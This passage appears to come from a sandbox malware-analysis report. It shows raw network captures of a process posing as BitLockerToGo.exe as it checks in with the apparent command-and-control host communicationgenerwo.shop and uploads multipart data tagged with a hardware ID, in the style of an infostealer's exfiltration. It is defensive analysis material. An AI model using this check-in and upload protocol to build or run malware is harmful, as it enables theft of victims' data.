Mar 26, 2024 18:23:35.791840076 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.791873932 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.791981936 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.792020082 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.792174101 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.792216063 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.792361021 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.792395115 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.792542934 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.792581081 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.792731047 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.792761087 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.792772055 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.792783976 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.792910099 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.792937994 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.792962074 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.793086052 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.793124914 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.840231895 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.840502024 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.840550900 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.840579033 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.840599060 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:35.840646029 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:35.840676069 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:37.320141077 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:37.320280075 CET	443	49735	172.67.166.251	192.168.2.6
Mar 26, 2024 18:23:37.320332050 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:37.320379972 CET	49735	443	192.168.2.6	172.67.166.251
Mar 26, 2024 18:23:37.320400000 CET	443	49735	172.67.166.251	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2024 18:23:27.789124012 CET	59572	53	192.168.2.6	1.1.1.1
Mar 26, 2024 18:23:27.887204885 CET	53	59572	1.1.1.1	192.168.2.6
Mar 26, 2024 18:23:40.255268097 CET	64042	53	192.168.2.6	1.1.1.1
Mar 26, 2024 18:23:40.377813101 CET	53	64042	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 26, 2024 18:23:27.789124012 CET	192.168.2.6	1.1.1.1	0xa712	Standard query (0)	communicationgenerwo.shop	A (IP address)	IN (0x0001)	false
Mar 26, 2024 18:23:40.255268097 CET	192.168.2.6	1.1.1.1	0x8ee7	Standard query (0)	communicationgenerwo.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 26, 2024 18:23:27.887204885 CET	1.1.1.1	192.168.2.6	0xa712	No error (0)	communicationgenerwo.shop	172.67.166.251	A (IP address)	IN (0x0001)	false
Mar 26, 2024 18:23:27.887204885 CET	1.1.1.1	192.168.2.6	0xa712	No error (0)	communicationgenerwo.shop	104.21.83.19	A (IP address)	IN (0x0001)	false
Mar 26, 2024 18:23:40.377813101 CET	1.1.1.1	192.168.2.6	0x8ee7	No error (0)	communicationgenerwo.shop	104.21.83.19	A (IP address)	IN (0x0001)	false
Mar 26, 2024 18:23:40.377813101 CET	1.1.1.1	192.168.2.6	0x8ee7	No error (0)	communicationgenerwo.shop	172.67.166.251	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

communicationgenerwo.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49727	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:28 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: communicationgenerwo.shop
2024-03-26 17:23:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-03-26 17:23:28 UTC	822	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9lqkngic0ptl0qgre9r7ro17qq; expires=Sat, 20-Jul-2024 11:10:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yh%2BmelUGoZOksOZCU%2FSn6auVMFoefjI%2BN%2BMxe60D99wypEpsbkH1to2%2BvutglGnlpaZj6kru%2BSfFHoeXVElRaDja48FuDVDOmETb%2BAsBCG64mpwYD0pIJrfb73V0m%2BnxZiJmyNW2%2BOgPN7%2Fd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d425fcc659d4-IAD alt-svc: h3=":443"; ma=86400
2024-03-26 17:23:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-03-26 17:23:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49729	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:28 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: communicationgenerwo.shop
2024-03-26 17:23:28 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 75 59 59 33 4e 49 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=uYY3NI--&j=default
2024-03-26 17:23:29 UTC	808	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jro1seaolhq5shhclghuqg7gb1; expires=Sat, 20-Jul-2024 11:10:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7nbc8FFIQJpKb1w25ahf4IvUUfLrU2U2JDCc4D2h6soYHkflXXhwxT%2BHNMVktdEemix58pRMmtS7%2FjJx3qvyb5H1vaPd55zNNsMpc6VCMaLUHXpBo4H67%2Be9gIFSE6hrva1VFPgNOs8LAo0D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d42aaaf086f1-IAD alt-svc: h3=":443"; ma=86400
2024-03-26 17:23:29 UTC	561	IN	Data Raw: 34 63 31 38 0d 0a 73 74 76 4d 33 72 6d 57 72 6d 55 32 48 2b 56 54 32 39 62 62 69 52 37 6f 55 61 6a 54 35 62 54 62 61 77 61 4a 4f 4c 49 7a 35 4d 76 4a 31 73 62 2b 6d 62 61 4f 52 30 41 39 33 33 50 76 2b 74 61 44 50 73 68 78 69 50 47 57 30 66 6c 52 4a 76 31 4b 78 31 62 49 78 72 6a 37 37 50 36 5a 74 4d 38 42 46 43 58 46 4e 62 71 36 71 4f 77 79 35 56 75 49 38 38 57 55 2b 51 35 2b 71 77 4b 53 61 4f 6e 42 6b 76 76 73 2f 70 6d 32 31 57 67 38 50 38 56 7a 2b 2f 62 37 71 54 37 4b 4e 4d 62 78 33 35 54 35 44 6d 7a 72 57 64 35 52 68 61 44 64 71 36 43 39 30 66 72 4a 44 56 4e 38 67 54 4b 33 75 37 37 73 65 34 6b 37 78 72 71 49 33 4c 5a 4a 4b 6f 51 79 6b 68 50 45 36 35 4c 37 37 50 36 62 38 39 52 48 44 44 2f 48 48 72 36 69 75 73 52 2f 6d 7a 71 4b 33 75 2b 55 2b 30 73 6d 71 Data Ascii: 4c18stvM3rmWrmU2H+VT29bbiR7oUajT5bTbawaJOLIz5MvJ1sb+mbaOR0A933Pv+taDPshxiPGW0flRJv1Kx1bIxrj77P6ZtM8BFCXFNbq6qOwy5VuI88WU+Q5+qwKSaOnBkvvs/pm21Wg8P8Vz+/b7qT7KNMbx35T5DmzrWd5RhaDdq6C90frJDVN8gTK3u77se4k7xrqI3LZJKoQykhPE65L77P6b89RHDD/HHr6iusR/mzqK3u+U+0smq
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 54 73 61 57 75 32 2b 62 4b 43 6c 46 76 67 54 53 33 76 72 72 35 64 6f 51 31 79 62 69 4d 33 37 77 4f 59 4b 73 55 76 7a 6e 45 36 35 4c 37 37 50 36 5a 74 6f 77 41 54 44 33 66 63 2f 6d 56 74 4f 42 77 67 43 54 4b 38 65 69 2b 2b 30 73 6d 71 52 69 53 54 73 6a 47 75 50 76 73 2f 70 6d 32 6a 68 34 37 46 63 56 7a 2b 2f 62 37 71 54 37 49 63 38 32 39 78 34 37 37 53 57 44 71 58 74 46 56 69 4b 66 55 74 61 69 79 31 76 76 4b 44 56 52 36 6a 54 6d 78 74 62 54 67 63 34 6f 32 78 37 57 42 32 72 67 4d 4a 4b 55 31 75 42 50 45 36 35 4c 37 37 50 36 5a 74 4d 73 66 46 43 58 46 63 5a 65 7a 75 76 6b 2b 76 7a 44 45 76 34 44 41 2b 57 59 4d 71 52 69 53 45 38 54 72 7a 2f 66 42 31 4a 6d 32 6a 6b 55 57 50 35 35 65 30 66 62 37 71 54 37 49 63 59 6a 7a 78 39 47 31 53 54 79 70 47 74 35 55 69 62 Data Ascii: TsaWu2+bKClFvgTS3vrr5doQ1ybiM37wOYKsUvznE65L77P6ZtowATD3fc/mVtOBwgCTK8ei++0smqRiSTsjGuPvs/pm2jh47FcVz+/b7qT7Ic829x477SWDqXtFViKfUtaiy1vvKDVR6jTmxtbTgc4o2x7WB2rgMJKU1uBPE65L77P6ZtMsfFCXFcZezuvk+vzDEv4DA+WYMqRiSE8Trz/fB1Jm2jkUWP55e0fb7qT7IcYjzx9G1STypGt5Uib
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 38 72 53 63 6a 6b 55 57 50 38 56 7a 2b 2f 62 35 37 47 54 4b 61 34 6a 78 72 64 57 74 43 6d 36 70 62 39 4e 66 69 4b 37 47 2b 63 48 55 6d 62 61 4f 52 52 59 2f 6d 48 2f 57 33 50 75 70 50 73 68 78 69 4b 6a 6f 76 76 74 4c 4a 71 6b 59 6b 68 50 45 36 64 65 31 37 75 53 5a 74 4d 45 47 58 48 75 56 50 72 53 33 74 2b 56 7a 6a 7a 7a 43 73 59 66 62 76 41 31 76 34 46 6e 64 56 5a 53 6a 30 4c 47 72 76 64 48 2b 6a 45 6b 37 46 63 56 7a 2b 2f 62 37 71 54 37 49 63 38 32 70 78 34 37 37 53 56 58 38 55 5a 4a 6b 68 61 66 65 76 72 6a 38 74 4a 79 4f 52 52 59 2f 78 58 4f 6d 2b 74 61 44 50 73 68 78 69 50 50 46 7a 39 5a 68 4a 71 6b 59 6b 68 50 45 36 35 4c 35 71 62 43 62 72 49 35 48 57 58 57 43 4e 4c 61 31 73 2b 56 35 67 44 2f 43 76 34 54 45 74 67 31 6b 35 31 4c 61 58 49 69 74 32 4c 43 Data Ascii: 8rScjkUWP8Vz+/b57GTKa4jxrdWtCm6pb9NfiK7G+cHUmbaORRY/mH/W3PupPshxiKjovvtLJqkYkhPE6de17uSZtMEGXHuVPrS3t+VzjzzCsYfbvA1v4FndVZSj0LGrvdH+jEk7FcVz+/b7qT7Ic82px477SVX8UZJkhafevrj8tJyORRY/xXOm+taDPshxiPPFz9ZhJqkYkhPE65L5qbCbrI5HWXWCNLa1s+V5gD/Cv4TEtg1k51LaXIit2LC
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 49 35 46 46 6a 2f 46 63 2f 76 32 2b 65 78 77 79 6d 75 49 38 59 54 53 75 51 68 6b 34 30 6a 51 51 34 4b 71 31 72 65 6e 73 39 48 37 7a 51 6c 65 64 49 41 32 74 4c 4b 32 36 48 4f 4c 4e 38 53 77 78 35 6a 57 59 53 61 70 47 4a 49 54 78 4f 75 53 2b 61 6d 6b 6d 36 79 4f 52 33 74 2b 6b 54 76 35 32 39 47 70 50 73 68 78 69 50 4f 59 6d 4e 5a 68 4a 71 6b 59 6b 68 50 45 73 4c 2f 52 37 50 36 5a 74 6f 35 46 46 6a 2f 48 4e 72 58 30 34 61 6b 38 67 44 2f 4f 73 6f 76 66 74 51 52 6c 37 31 33 64 56 59 61 76 31 72 79 76 74 39 50 34 77 77 31 59 65 59 73 34 76 37 69 36 36 48 72 4b 66 61 58 5a 78 5a 54 37 53 79 61 70 47 4a 49 52 67 62 47 51 34 65 7a 38 2b 76 6e 48 43 31 52 2b 6c 6a 62 35 32 39 47 70 50 73 68 78 69 50 4f 59 6d 4e 5a 68 4a 71 6b 59 6b 68 50 45 73 4c 2f 52 37 50 36 5a Data Ascii: I5FFj/Fc/v2+exwymuI8YTSuQhk40jQQ4Kq1rens9H7zQledIA2tLK26HOLN8Swx5jWYSapGJITxOuS+amkm6yOR3t+kTv529GpPshxiPOYmNZhJqkYkhPEsL/R7P6Zto5FFj/HNrX04ak8gD/OsovftQRl713dVYav1ryvt9P4ww1YeYs4v7i66HrKfaXZxZT7SyapGJIRgbGQ4ez8+vnHC1R+ljb529GpPshxiPOYmNZhJqkYkhPEsL/R7P6Z
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 77 2f 78 58 50 37 39 76 76 79 45 2b 4a 78 69 50 50 46 6c 50 74 4c 4a 71 74 64 33 42 48 65 36 35 43 31 70 37 72 64 38 63 41 47 55 6e 57 43 4f 62 32 31 76 2b 31 2f 68 54 66 50 73 49 6a 53 74 51 64 75 36 6c 76 63 57 6f 6d 69 31 66 6e 67 30 37 4f 32 6a 6b 55 57 50 38 56 7a 2b 2f 53 2b 38 7a 7a 53 63 59 71 41 68 4d 43 75 47 57 69 72 4e 62 67 54 78 4f 75 53 2b 2b 79 6a 6c 5a 75 6b 52 52 59 2f 78 58 50 37 72 64 61 44 50 73 68 78 69 50 50 46 6c 50 74 4a 59 2b 63 61 69 42 50 47 71 4d 4b 7a 70 4c 4c 65 2b 38 6b 45 57 33 71 4b 4e 37 57 2b 73 4f 4e 36 68 54 72 59 73 6f 76 59 76 67 64 6f 35 56 66 61 55 6f 76 70 6e 74 62 47 2f 70 6d 32 6a 6b 55 57 50 38 56 78 76 71 7a 35 73 7a 37 4b 48 38 32 38 71 64 32 31 44 69 53 45 4d 70 49 54 78 4f 75 53 2b 37 48 79 74 4a 79 4f 52 Data Ascii: w/xXP79vvyE+JxiPPFlPtLJqtd3BHe65C1p7rd8cAGUnWCOb21v+1/hTfPsIjStQdu6lvcWomi1fng07O2jkUWP8Vz+/S+8zzScYqAhMCuGWirNbgTxOuS++yjlZukRRY/xXP7rdaDPshxiPPFlPtJY+caiBPGqMKzpLLe+8kEW3qKN7W+sON6hTrYsovYvgdo5VfaUovpntbG/pm2jkUWP8Vxvqz5sz7KH828qd21DiSEMpITxOuS+7HytJyOR
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 7a 2b 2f 62 37 71 54 37 49 63 59 71 32 69 35 62 68 53 79 54 76 55 4e 42 63 6a 4b 4c 66 75 71 6d 79 32 2f 6e 47 46 56 78 39 68 7a 2b 2f 74 62 58 75 66 59 59 77 32 4c 32 42 32 37 38 42 64 71 73 55 76 7a 6e 45 36 35 4c 37 37 50 36 5a 74 6f 77 41 54 44 33 66 63 2f 6d 55 73 75 64 2f 68 6a 4c 4e 68 49 54 59 74 77 35 79 71 7a 57 34 45 38 54 72 6b 76 76 73 6f 35 57 66 6f 32 38 2f 50 38 55 6f 31 74 7a 37 71 54 37 49 63 59 6a 7a 78 5a 61 2b 42 53 53 7a 47 4a 42 63 69 71 50 64 76 4b 71 30 33 50 66 4e 43 31 42 77 69 6a 57 77 73 4c 7a 35 62 6f 77 39 79 72 36 4a 32 62 55 62 61 75 35 61 33 42 48 49 78 72 6a 37 37 50 36 5a 74 6f 35 46 46 6a 32 41 4b 66 6e 73 2b 36 74 4e 6e 54 4f 4b 33 75 2b 55 2b 30 73 6d 71 52 6a 50 48 2b 33 47 75 4e 62 47 31 35 6d 32 31 57 67 38 50 38 Data Ascii: z+/b7qT7IcYq2i5bhSyTvUNBcjKLfuqmy2/nGFVx9hz+/tbXufYYw2L2B278BdqsUvznE65L77P6ZtowATD3fc/mUsud/hjLNhITYtw5yqzW4E8Trkvvso5Wfo28/P8Uo1tz7qT7IcYjzxZa+BSSzGJBciqPdvKq03PfNC1BwijWwsLz5bow9yr6J2bUbau5a3BHIxrj77P6Zto5FFj2AKfns+6tNnTOK3u+U+0smqRjPH+3GuNbG15m21Wg8P8
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 2b 36 74 66 6e 53 50 48 38 65 69 2b 2b 30 73 6d 71 52 69 53 54 73 6a 47 75 50 76 73 2f 70 6d 32 6a 68 34 37 46 63 56 7a 2b 2f 62 37 71 54 37 49 63 38 32 39 78 34 37 37 53 57 7a 6d 55 74 70 56 67 61 54 58 76 36 65 75 30 76 48 43 42 31 42 32 69 44 65 39 74 37 6e 35 65 6f 34 37 79 62 79 4b 32 4c 6f 4e 4a 4b 55 31 75 42 50 45 36 35 4c 37 37 50 36 5a 74 4d 73 66 46 43 58 46 63 59 75 35 74 2f 42 7a 6a 53 4c 41 38 65 69 2b 2b 30 73 6d 71 52 69 53 54 73 6a 47 75 50 76 73 2f 70 6d 32 6a 68 34 37 46 63 56 7a 2b 2f 62 37 71 54 37 49 63 38 32 39 78 34 37 37 53 57 44 6c 53 4e 74 51 6a 61 4c 65 76 71 47 35 30 66 54 44 41 31 64 7a 6a 44 43 36 76 4c 54 6d 63 6f 41 36 77 37 61 4c 30 72 35 4a 4b 6f 51 79 6b 68 50 45 36 35 4c 37 37 50 36 62 38 39 52 48 44 44 2f 48 47 70 69 Data Ascii: +6tfnSPH8ei++0smqRiSTsjGuPvs/pm2jh47FcVz+/b7qT7Ic829x477SWzmUtpVgaTXv6eu0vHCB1B2iDe9t7n5eo47ybyK2LoNJKU1uBPE65L77P6ZtMsfFCXFcYu5t/BzjSLA8ei++0smqRiSTsjGuPvs/pm2jh47FcVz+/b7qT7Ic829x477SWDlSNtQjaLevqG50fTDA1dzjDC6vLTmcoA6w7aL0r5JKoQykhPE65L77P6b89RHDD/HGpi
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 6f 4d 68 69 76 2f 6f 76 76 74 4c 4a 71 6b 59 6b 68 50 45 36 64 65 68 37 75 53 5a 74 4f 59 63 56 58 43 4c 63 35 65 2f 72 2b 77 2b 71 7a 33 42 74 6f 76 41 2b 57 59 4d 71 52 69 53 45 38 54 72 7a 2f 66 42 31 4a 6d 32 6a 6b 55 57 50 35 35 65 30 66 62 37 71 54 37 49 63 59 6a 7a 78 39 47 31 53 54 79 70 47 74 6c 66 69 71 72 58 73 61 61 35 32 2f 2f 4d 43 46 35 7a 67 43 4f 7a 75 4c 50 35 63 34 6b 2b 7a 72 79 4e 30 37 41 62 59 65 4a 63 6b 42 2f 70 77 5a 4c 37 37 50 36 5a 74 6f 35 46 46 48 71 66 63 65 48 32 2b 64 4e 33 68 41 48 4a 71 73 65 35 30 55 73 6d 71 52 69 53 45 35 6e 6e 76 39 48 73 2f 70 6d 32 6a 6b 56 4e 45 75 39 7a 2b 2f 62 37 71 54 37 49 63 59 71 32 69 35 62 68 53 79 54 6f 58 64 4e 51 6a 4b 44 63 74 71 6d 34 79 66 37 4c 46 56 56 38 6a 44 79 31 74 4c 54 6d Data Ascii: oMhiv/ovvtLJqkYkhPE6deh7uSZtOYcVXCLc5e/r+w+qz3BtovA+WYMqRiSE8Trz/fB1Jm2jkUWP55e0fb7qT7IcYjzx9G1STypGtlfiqrXsaa52//MCF5zgCOzuLP5c4k+zryN07AbYeJckB/pwZL77P6Zto5FFHqfceH2+dN3hAHJqse50UsmqRiSE5nnv9Hs/pm2jkVNEu9z+/b7qT7IcYq2i5bhSyToXdNQjKDctqm4yf7LFVV8jDy1tLTm
2024-03-26 17:23:29 UTC	1369	IN	Data Raw: 6d 6d 6b 64 79 69 53 51 75 44 47 4a 49 54 78 4f 75 53 70 75 44 54 73 37 61 4f 52 52 59 2f 78 53 6a 57 33 50 75 70 50 73 68 78 69 50 50 46 6c 72 34 46 4a 4c 4d 59 6b 46 79 42 70 39 69 2f 6f 4c 72 4a 2b 4d 4d 42 56 48 79 4e 50 4c 57 2f 76 75 56 33 6a 44 62 48 73 59 48 51 76 51 31 67 35 56 6d 51 48 2b 6e 42 6b 76 76 73 2f 70 6d 32 6a 6b 55 55 65 70 39 78 34 66 62 35 7a 46 47 37 63 65 6d 6d 6b 64 79 2b 42 58 4c 67 57 39 4e 48 69 37 6d 51 31 73 62 2b 6d 62 61 4f 52 52 5a 69 79 56 37 52 39 76 75 70 50 73 68 78 30 39 37 76 6c 50 74 4c 4a 71 6b 59 6b 68 50 47 72 74 7a 35 39 76 36 62 2f 38 49 43 56 58 47 4e 4e 72 65 6d 75 4f 46 77 69 7a 54 4e 75 70 58 64 71 77 4a 73 36 46 54 59 57 49 61 6e 30 4c 69 6a 76 4a 75 36 6f 32 38 57 50 38 56 7a 2b 2f 62 37 71 54 79 4e 4b Data Ascii: mmkdyiSQuDGJITxOuSpuDTs7aORRY/xSjW3PupPshxiPPFlr4FJLMYkFyBp9i/oLrJ+MMBVHyNPLW/vuV3jDbHsYHQvQ1g5VmQH+nBkvvs/pm2jkUUep9x4fb5zFG7cemmkdy+BXLgW9NHi7mQ1sb+mbaORRZiyV7R9vupPshx097vlPtLJqkYkhPGrtz59v6b/8ICVXGNNremuOFwizTNupXdqwJs6FTYWIan0LijvJu6o28WP8Vz+/b7qTyNK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49730	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:29 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12854 Host: communicationgenerwo.shop
2024-03-26 17:23:29 UTC	12854	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 35 42 37 46 43 37 45 34 41 41 36 32 42 36 32 36 33 35 42 35 32 31 31 33 46 35 42 33 46 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CA5B7FC7E4AA62B62635B52113F5B3F8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-03-26 17:23:30 UTC	810	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r69oue5g5np7f4op1pc593ttnt; expires=Sat, 20-Jul-2024 11:10:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZrFJFDGTjSuu9vZrXw7LduXO61gsjsKMVL6%2BiFDgLfhc1rQBtANUjypXu7usIoRAtkqHkHsv5ViemhLySroUwt6rX4hhehiM%2F0njHvIdbIMeanwoAo7Z%2BUWAfi2gU6i%2BCqCMBwH65vskLIwl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d42f8ef65860-IAD alt-svc: h3=":443"; ma=86400
2024-03-26 17:23:30 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 0d 0a Data Ascii: 10ok 102.165.48.43
2024-03-26 17:23:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49731	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:30 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15100 Host: communicationgenerwo.shop
2024-03-26 17:23:30 UTC	15100	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 35 42 37 46 43 37 45 34 41 41 36 32 42 36 32 36 33 35 42 35 32 31 31 33 46 35 42 33 46 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CA5B7FC7E4AA62B62635B52113F5B3F8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
